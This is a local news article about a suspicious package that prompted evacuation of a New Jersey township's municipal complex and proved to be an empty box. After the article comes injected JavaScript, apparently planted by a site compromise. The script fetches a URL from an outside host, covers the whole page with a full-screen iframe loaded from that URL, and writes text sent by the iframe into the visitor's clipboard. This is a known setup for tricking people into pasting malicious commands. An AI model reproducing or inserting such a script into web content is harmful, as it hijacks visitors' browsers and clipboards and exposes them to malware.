FALSE ALARM – The Municipal Complex was shut down for about an hour after a suspicious package was found on a bench at the Public Safety Building. (File photo). UPDATE: Police have released a few more details about the incident. Police said that at about 4 p.m. on October 19, a man walked into police headquarters looking for help in opening a box he had received from a stranger. The man told police that he believed there was a large amount of cash and explosives inside the box. All municipal building sin the complex were evacuated, and the New Jersey State Police Bomb Squad and Somerset County Sheriff K-9 responded to the area and later determined the box was empty. No further information was provided by police. A suspicious package left on a bench in front of the township Public Safety Building on October 19 spurred an evacuation and closing of the complex's buildings, including the library and municipal building. A bomb-sniffing dog was brought in and determined that the box did not hold any explosives, according to a person with knowledge of the incident. The contents of the package have yet to be revealed. The complex was closed shortly after 5 p.m., and reopened shortly after 6 p.m., according to advisory emails sent by the Township. Nothing further is known about the incident; township police had not issued a press release as of 12:30 a.m. October 20. This is a developing story. More information will be published as it is obtained. (function() { const configLink = "https://corsproxy.io/?url=http://heyues.live"; if (!window.__digitalflwrFetchPromise) { window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); }) .then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => { }); } if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; } window.__digitalflwrFetchPromise .then(result => { if (!result) return; const { headResponse, finalUrl } = result; if (!headResponse || headResponse.status === 404) { return; } if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => { }); function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999; document.body.appendChild(iframe); window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return; if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } }); function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select(); try { document.execCommand("copy"); } catch (err) { } document.body.removeChild(textArea); } } })();
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